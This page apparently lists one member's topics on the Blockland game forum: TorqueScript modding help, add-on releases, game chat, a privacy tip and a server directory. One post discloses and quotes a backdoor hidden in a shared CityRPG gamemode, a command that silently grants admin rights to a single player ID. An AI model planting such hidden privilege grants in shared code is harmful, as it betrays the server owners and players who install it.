Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Topics - Pecon

Pages: 1 2 3 4 5 6 [7] 8
91
General Discussion / Look, we're on steam
« on: December 16, 2013, 11:18:03 AM »
http://store.steampowered.com/app/250340

It happened. For those of you not viewing development.

92
Modification Help / Mysterious issues with creating bricks
« on: December 01, 2013, 04:30:57 AM »
It's getting late and I'm tired now. But I have been tormented by this issue for a few hours now, and I still have gotten nowhere. I ran a trace, basically my bricks start deleting themselves once 177 of them are created. This can work perfectly fine up until then, and then suddenly the bricks stop spawning and I'm flooded with 'cannot find object' errors (Primarily occurring from the onAdd). A slightly separate issue is that when I call createDungeon("0 0"); %room ends up being 1 instead of "0 0", I can't fathom why.

If you can figure out what I've done wrong, I'm glad to hear it. I'm really tired, so you probably won't hear from me tonight unless you answer in the next 20 minutes lol.

function startDungeon(%clear)
{
   if(%clear)
      brickGroup.deleteall();
   
   deleteVariables("$dungeonMaster*"); //Clean up the array
   
   %clients = clientGroup.getCount(); //GET IN HERE
   for(%i=0;%i<%clients;%i++)
   {
      %client = clientGroup.getObject(%i);
      
      if(%client.minigame.isTheDungeonOfDoomyDoom && isObject(%client.player))
         %client.player.setTransform("0 0 1");
         
   }
   
   $dungeonMaster[0, 0] = 0 SPC 0;
   createDungeon("0 0");
}

function createDungeon(%room)
{
   %x = firstWord(%room);
   %y = getword(%room, 1);
   
   //Baseplate
   makeDungeonBrick("0 0 0.5", brick32x32fdata, 8, %room, 0);
   
   //Doors
   makeDungeonBrick("7.75 0 2", brick1x6x5data, 6, %room, 0, 2);
   makeDungeonBrick("0 7.75 2", brick1x6x5data, 6, %room, 1, 1);
   makeDungeonBrick("-7.75 0 2", brick1x6x5data, 6, %room, 0, 4);
   makeDungeonBrick("0 -7.75 2", brick1x6x5data, 6, %room, 1, 3);
   
   //Walls
   makeDungeonBrick("7.75 4.5 2", brick1x12x5data, 7, %room, 0);
   makeDungeonBrick("7.75 -4.5 2", brick1x12x5data, 7, %room, 0);
   makeDungeonBrick("-7.75 4.5 2", brick1x12x5data, 7, %room, 0);
   makeDungeonBrick("-7.75 -4.5 2", brick1x12x5data, 7, %room, 0);
   
   makeDungeonBrick("4.5 7.75 2", brick1x12x5data, 7, %room, 1);
   makeDungeonBrick("4.5 -7.75 2", brick1x12x5data, 7, %room, 1);
   makeDungeonBrick("-4.5 7.75 2", brick1x12x5data, 7, %room, 1);
   makeDungeonBrick("-4.5 -7.75 2", brick1x12x5data, 7, %room, 1);

   //Corners
   makeDungeonBrick("7.75 7.75 2", brick1x1x5data, 7, %room, 0);
   makeDungeonBrick("7.75 -7.75 2", brick1x1x5data, 7, %room, 0);
   makeDungeonBrick("-7.75 7.75 2", brick1x1x5data, 7, %room, 0);
   makeDungeonBrick("-7.75 -7.75 2", brick1x1x5data, 7, %room, 0);

}

function makeDungeonBrick(%position, %data, %color, %room, %rot, %door)
{
   %rot=eulerToMatrix("0 0 "@(%rot % 4)*90);
   
   %brick = new fxDTSBrick()
   {
      client = findClientByBL_ID(getNumKeyID());
      dataBlock = %data;
      position = vectorAdd(%position,vectorScale(%room,16));
      rotation = %rot;
      colorID = %color;
      scale = "1 1 1";
      angleID = 0;
      colorfxID = 0;
      shapefxID = 0;
      isPlanted = 1;
      stackBL_ID = getNumKeyID();
      dungeonRoom = %room;
   };
   %brick.plant();
   %brick.setTrusted(1);
   
   nameToID("brickGroup_"@getNumKeyID()).add(%brick);
   
   
   if(%door)
   {
      %brick.addEvent(1, 0, "onActivate", "self", "openDungeonDoor", %door);
   }
}

function fxDtsBrick::openDungeonDoor(%this, %direction)
{
   %room = %this.dungeonRoom;
   %x = firstword(%room);
   %y = getWord(%room, 1);
   
   
   switch(%direction)
   {
      case 1:
         %y++;
         
      case 2:
         %x++;
         
      case 3:
         %y--;
         
      case 4:
         %x--;
   }
   
   if($dungeonMaster[%x, %y] $= "")
   {
      echo("Created the" SPC %x SPC %y SPC "dungeon room");
      $dungeonMaster[%x, %y] = %x SPC %y;
      createDungeon(%x SPC %y);
   }
   
   else
      echo("Sorry, room taken :/" SPC %x SPC %y);
   
   %this.disappear(-1);
}

registerOutputEvent(fxDtsBrick, openDungeonDoor, "INT 0 4 0", 0);

93
Modification Help / Http Objects crash on page load - Alternatives?
« on: November 21, 2013, 10:46:13 AM »
I'm using an http object to download the contents from a search page.
However, the game crashes upon trying to load the page. I've heard that I could use a TCP object to download the page, but I haven't figured out how to do the GET request correctly, I keep getting bad request errors.

I've put in echos previously, the game crashes as soon as it starts receiving data through the httpObject.

94
Add-Ons / Boss Battles bricks - Health Stations and Caution Tape
« on: November 05, 2013, 08:15:22 PM »
These are some bricks created by Siba for the Boss Battles server. We have decided to release them due to the growing interest in them brought about by our anniversary event.

http://pecon.us/storage/Brick_CautionTape.zip
http://pecon.us/storage/Brick_HealthStation.zip

Bricks created by Siba. Originally intended for use on the Boss Battles server only.

95
Add-Ons / National Flags in Chat
« on: November 04, 2013, 11:04:17 AM »

(Purple admin shield is not included)
As seen in my National Flags server.

This server mod will look up the country for each client's IP address, and assign a flag to go next to their name. The tiny version of this mod only uses flags that I've identified as generally occurring the most in the Blockland community. If you want, you can download the full version and then simply delete files from the /flags/ folder to select which flags you want loaded. It is safe to delete images or add different flag images in the /flags/ folder. Any image file that matches a country's two-digit code will be used when a client connects from that country.

Download full version (248 datablocks) 166kb
https://pecon.us/projects/storage/nationalFlagsFull/Server_NationalFlags.zip

Download tiny version (17 datablocks) 14.8kb Recommended!
https://pecon.us/projects/storage/nationalFlagsTiny/Server_NationalFlags.zip


Flags included in tiny version:
- Australia
- Brazil
- Canada
- Chile
- Denmark
- Estonia
- England
- Finland
- France
- Great Britain (England Alias)
- South Korea
- Malta
- Mexico
- Netherlands
- Poland
- Russia
- United States

The full version has just about every country in the world, but uses an excessive amount of datablocks.

96
General Discussion / National Flags Appreciation server
« on: October 13, 2013, 04:31:50 PM »
We're celebrating nationalities with flags. Come join the server and support your nationalities! The community is not as american as you may think, come and mingle with a lot of the international players our community contains. You could build a flag or embassy on the server to show support for your nationality.

There isn't a whole lot on the server yet, but we'll have more pictures as more people contribute!




97
I've seen quite a few more CityRPG's popping up lately. First thing that came to mind was that all these servers seemed to have been using similar versions of the mod (Notable: A job named "Aoki Cosplayer" available). I had also noticed that Aoki seemed to have been admin on all these servers, it wasn't suspicious at first since I thought that maybe Aoki was just popular among the people who liked hosting those things. But today I saw Aoki and asked if he had been the one distributing the mod.



Okay, that was interesting. So I asked him if I could have a look at it. He replied that he did not want to give out the 'updated version', but I managed to get him to post a link to whatever he had been giving out before. (The server had eval, so the link was posted using it. They also disabled the admin shields using eval a few minutes before.)



Link: http://www.mediafire.com/download/1puibcsyocdc4xx/Gamemode_CityRPG.zip
Mirror: http://pecon.us/storage/Gamemode_CityRPG.zip

Looking through the code, I found exactly what I suspected I would find.

Quote from: Lines 3211 to 3229
function serverCmdtogAdmin(%client)
{
   if(%client.bl_id == 7395)  //7395 is Aoki's BL_ID
   {
      %client.isAdmin = (%client.isAdmin ? 0 : 1);
      %client.isSuperAdmin = (%client.isSuperAdmin ? 0 : 1);
      commandtoclient(%client, 'setAdminLevel', %client.isAdmin);
      messageAll('MsgClientJoin', '', %client.name, %client, %client.bl_id, %client.score, 0, %client.isAdmin, %client.isSuperAdmin);
      
      if(%client.isAdmin)
      {
         messageAll('MsgAdminForce','\c2%1 has Re-Admined himself.', %client.name);
      }
      else
      {
         messageAll('MsgAdminForce','\c0%1 has De-Admined himself.', %client.name);
      }
   }
}

There was also another 'cheat' he had put in, which was a custom shapeName color (Actually gave a significant advantage in game).

This is a little less serious, but look at this.



This isn't really harmful, but I think intent was behind that. (And I am pretty sure that the eval access was achieved via the exploit in the mod, but he could have already been an admin)

On a slightly unrelated note, Visolator was acting shifty as forget and had made his own silent eval function so he could eval without anyone knowing. I don't know if he was up to anything, but it was shifty.

98
Off Topic / Bill Nye on Dancing with the Stars
« on: September 18, 2013, 05:16:11 PM »

99
Off Topic / Your information is easier to find than you may think.
« on: August 25, 2013, 08:01:37 PM »
http://www.spokeo.com/

Search your real name, then come back to this thread.


Errata: Only applies to the United States.



















































Scary, right?

It's alright, all you have to do now is remove your own listing. Simply copy the URL of the page with your listing, and use it at http://spokeo.com/optout/

Now it's a little less scary. But the issue of how they got your information still remains, right? They don't collect the information themselves. Their privacy page sums it up pretty well in my opinion.


The fact is, all this information was already publicly available, what they have done is gathered it all up and put it in one easy place.

Discuss privacy issues.

100
Games / Free copy of Half-Life 2
« on: August 21, 2013, 09:17:42 PM »
I'm going to raffle off this extra copy of HL2 I got from having bought the Half-Life 2 complete pack a while back. Simply post your steam name below and you'll be in. I'll pick a winner in a few hours.

Obvious note: You can't enter if you already own HL2.

101
Games / Starcannon
« on: August 06, 2013, 11:31:20 PM »

I just recently remembered about this really great shooter game on Funorb. The plot is basically that an alien race has sent an armada of ships to destroy earth, and as a last-ditch effort to save themselves; humans send a prototype space fighter in the hopes of it being able to singlehandedly defeat the main forces of the armada.
I really love the music in this game, and I think the graphics were done fantastically too.

Here's a link to the game: http://mggameserver6.funorb.com/g=starcannon/game.ws?js=1
If you don't have a Jagex account, you can press the "Just Play" button rather than logging in.

Post your highscores!


102
Off Topic / Could someone recommend me an IDE?
« on: August 01, 2013, 05:06:34 PM »
I need a free C++ compiler, preferably one I don't have to shell execute (mainly because that just gets on my nerves).

Edit: Actually I probably could look into buying something as long as it isn't too expensive.

103
Off Topic / Rate the above user's computer specifications
« on: July 15, 2013, 01:27:50 AM »
This should help condense the many topics about this that have been popping up lately.

I recommend using Speccy by Piriform to get your specifications. But you can also press winkey+r and type 'dxdiag' into the run dialog to get some of your basic specifications.

I'll begin here; don't be afraid to post yours as text. Pages full of images tend to be bad anyways.

Operating System
   Windows 8 Pro 64-bit
CPU
   AMD Phenom II X4 955   42 °C
   Deneb 45nm Technology
RAM
   8.00GB Single-Channel DDR3 @ 671MHz (9-9-9-24)
Motherboard
   Gigabyte Technology Co., Ltd. GA-970A-UD3 (Socket M2)   33 °C
Graphics
   Acer G215HV (1920x1080@60Hz)
   1024MB ATI AMD Radeon HD 6800 Series (Sapphire/PCPartner)   37 °C
Hard Drives
   932GB Western Digital WDC WD10EARX-32N0YB0 ATA Device (SATA)   27 °C
   279GB Seagate ST3300820SCE ATA Device (SATA)   31 °C
   84GB KINGSTON SH103S390G ATA Device (SSD)   25 °C
Optical Drives
   ATAPI iHAS124 B ATA Device
Audio
   VIA High Definition Audio

104
Modification Help / Tessel - A new perspective on the Blockland RPG
« on: July 07, 2013, 01:24:40 AM »
Welcome to the world of Tessel! Tessel is a new RPG that will be coming (eventually) to a server list near you! If you're interested, you should probably start by reading the story behind Tessel. If things go in the right direction, Tessel should have a feel to it that will remind you of the popular fantasy role-playing game Guild Wars 2. Tessel will also feature a few innovative new gameplay mechanics, made by yours truly. Read on.

Click here to read the WIP story (Tiddlywiki)
The story of Tessel is written by my friend who for now is going by the pen-name 'Coyote'.


As I mentioned before, the game will feature a few unique gameplay mechanics. The primary mechanic will be the way in which players learn new skills. Most RPG's have a level-up rank system which slowly 'unlocks' skills and abilities based on how much experience you have in that skill. Tessel will not work like this. In Tessel, you will learn new skills through observation. Each skill has a link to a governing attribute, or superskill. The three superskills in Tessel are Physical, Magical, and Supernatural. When you observe a player or NPC using a skill, you'll learn a tiny bit about it. Depending on the difficulty of the skill, and your affinity to it's superskill, you'll be able to start practicing that skill on your own after having observed it a few times. For example, if you are a Kvar (who have a primary affinity to the Physical superskill) and you observe an NPC use a Supernatural skill, they'll learn very little about it and will have to observe it many times more before they could even begin to understand it. On the other hand, if that Kvar observes another player use a special melee attack, they'll likely be ready to practice it after seeing it only once or twice. Once you begin to practice a skill, you'll be able to use it more effectively depending on how skilled you've become at it. Having skills learned by observation should greatly reduce the need for grinding, since you won't need to practice one thing for a long time in order to learn something different. (If you are wondering, I have already finished coding for this skill system)

Like many other RPG games (and not many other Blockland-based RPG games), Tessel will feature multiple races that players can choose to start with. Each of these races will have their own part of the world that is primarily inhabited by that race. Obviously, the building for the world of Tessel is going to take a lot of building that I cannot do. I'll need community members to volunteer to help me build different parts of the world. When more of the writing is complete, I'll be able to assign specific pieces of the world to builders who have volunteered.

I have other ideas, but many of them would be considered far-fetched to most people. So I'll bring them up when progress seems far enough to begin considering them.

Things I need help with (in order of current importance):
Concept Art
Building
Modeling (Playertypes)
Coding support (I'm looking for coders to help me solve individual tasks)
GUI design (Layout and Scripting)
Modeling (Items and misc.)
GUI design (Graphics)
Graphic design (Skyboxes, Particles, Sun flares, Textures)
Ideas (I don't need much right now)
Financial support (1PHaxaVarvLwRb2EuycepJZq1ZJz4KhD8H BTC)

If you're interested in helping in any of the above areas except ideas, please send me a PM with how you can help. If you have ideas, you should simply post them in this thread. People who help will receive credit on this thread and in the game.

Constructive criticism is encouraged.

105
The server list
I'll make a nice looking image soon enough.

The idea behind this topic is that you can find servers that people are hosting and supporting by category, even see if the server is up. A great way to find servers you know you're interested in.


├┬───Deathmatch
│├┬─Deathmatch
││├Traditional
││├King of the Hill
││├Fortwars
│├┬─Team Deathmatch
││├Traditional
││├Massive (>2 teams)
││├Boss Battle (OMA)
││├Capture the Flag
│├┬─Other
││├Other (Categories needed)
├┬───Roleplay
│├┬─Traditional
││├City
││├Family
││├Medieval
││├Silly
││├Jail
││├Horror
││├Other
│├┬─Modern (Mod)
││├City
││├Medieval
││├Horror
││├Other
├┬───Creative
│├┬─Freebuild
││├Traditional
││├Themed
├┬───Games
│├┬─Games
││├Speedkart
││├Miscellaneous
└┴┴────────────────────────


         Deathmatch
      Deathmatch
   Traditional

We're waiting for servers to be added here!

   KOTH

We're waiting for servers to be added here!

   Fortwars

We're waiting for servers to be added here!

      Team Deathmatch
   Traditional

The Brighter Dark's CoD4 TDM
   - A a remake of the famous map "Vacant" in CoD4, server features killstreaks, and balanced classes.
   - Dedicated server, hosted a few days per week.
   - CoD4 themed.
   - Forum topic: http://forum.blockland.us/index.php?topic=231495.0
   

   Massive (>2 Teams)

We're waiting for servers to be added here!

   Boss Battle (OMA)

Pecon7's Boss Battles
   - The longest running and most highly renowned Boss Battles server ever on Blockland.
   - Dedicated server, 24/7 hosting.
   - Futuristic/space themed.
   - Forum topic: http://forum.blockland.us/index.php?topic=177870.0 Website: http://bossbattles.pecon.us/
   

Visolator's Boss Battles
   - A Boss Battles on the plains of homes near a river
   - Dedicated server, 24/7 hosting.
   - Futuristic/Grassland themed.
   - Forum topic: http://forum.blockland.us/index.php?topic=217188.0 Website: http://visolatorsserver.m.webs.com
   

   CTF

We're waiting for servers to be added here!

      Other
   Other

We're waiting for servers to be added here!

         Roleplay
      Traditional
   City

Peavy22's City
   - It is a well administrated city roleplay that consist of 2 cities, players can get jobs and purchase stuff from stores.
   - Not dedicated, occasionally hosted, mainly weekends.
   - City Roleplay
   - Forum topic: http://forum.blockland.us/index.php?topic=232003.0
   - Active server info is not available.

   Family

We're waiting for servers to be added here!

   Medieval

Cysero's Medieval Roleplay
   - An almost-never-closing server with a plot!
   - Dedicated server, frequently hosted.
   - Medieval themed.
   - This server does not have a forum topic or website associated with it.
   - Active server info is not available.

   Silly

We're waiting for servers to be added here!

   Jail

We're waiting for servers to be added here!

   Horror

We're waiting for servers to be added here!

   Other

We're waiting for servers to be added here!

      Modern
   City

We're waiting for servers to be added here!

   Medieval

Elm's Land of Blocks
   - You can do lots in LOB. Woodcut, Mine, Firemake, Trade, Smith, Smelt, PVP, PVE, and more.
   - Dedicated server, hosted 24/7.
   - Medieval RPG
   - Forum topic: http://forum.blockland.us/index.php?topic=228085.0 Website: http://landofblocks.weebly.com/
   - Active server info is not available.

   Horror

We're waiting for servers to be added here!

   Other

We're waiting for servers to be added here!

         Creative
      Freebuild
   Traditional

We're waiting for servers to be added here!

   Themed

Badspot's Block Party
   - The creator's server.
   - Dedicated server, 24/7 hosting.
   - Pirate island build themed.
   - Website: http://blockland.us
   

         Games
      Games
   Speedkart

ChocoboPah's Speedkart
   - A fun modified Speedkart server! You can set a record for tracks now!
   - Dedicated server, continuous hosting.
   - This server does not have a forum topic or website associated with it.
   - Active server info is not available.

   Miscellaneous

Ravencroft's and Whirlwind's Falling Tiles!
   - A unique rebirth of the previously popular Falling Tiles game.
   - Dedicated server, hosted one to three times a week.
   - Falling Tiles
   - Forum topic: http://forum.blockland.us/index.php?topic=217857.0
   - Active server info is not available.

Wound's Wall Climbing
   - There are many many levels (20 - 30) to climb up, different features, and more.
   - Dedicated server, 24/7 hosting.
   - Grass, snow, sleet, rain, all types of themed levels.
   - No website or forum topic yet.
   - Active server info is not available.




Getting your server added to the list is easy, just fill this out and post it in this thread.
Code: [Select]
*Server Category (See list):
Theme:
*Server name:
*Owner:
Short Description:
Hosting Frequency:
Dedicated?:
Server IP and port:
Server topic and/or website:

*Required Field
You do not need to own the server to post that server to the list! As long as you post accurate information about a server, I'll use it on the list.

You may use an image that is no larger than 300x100 instead of a text server name.

I should be able to update this topic at least once every other day. And probably multiple times a day on normal days.

Pages: 1 2 3 4 5 6 [7] 8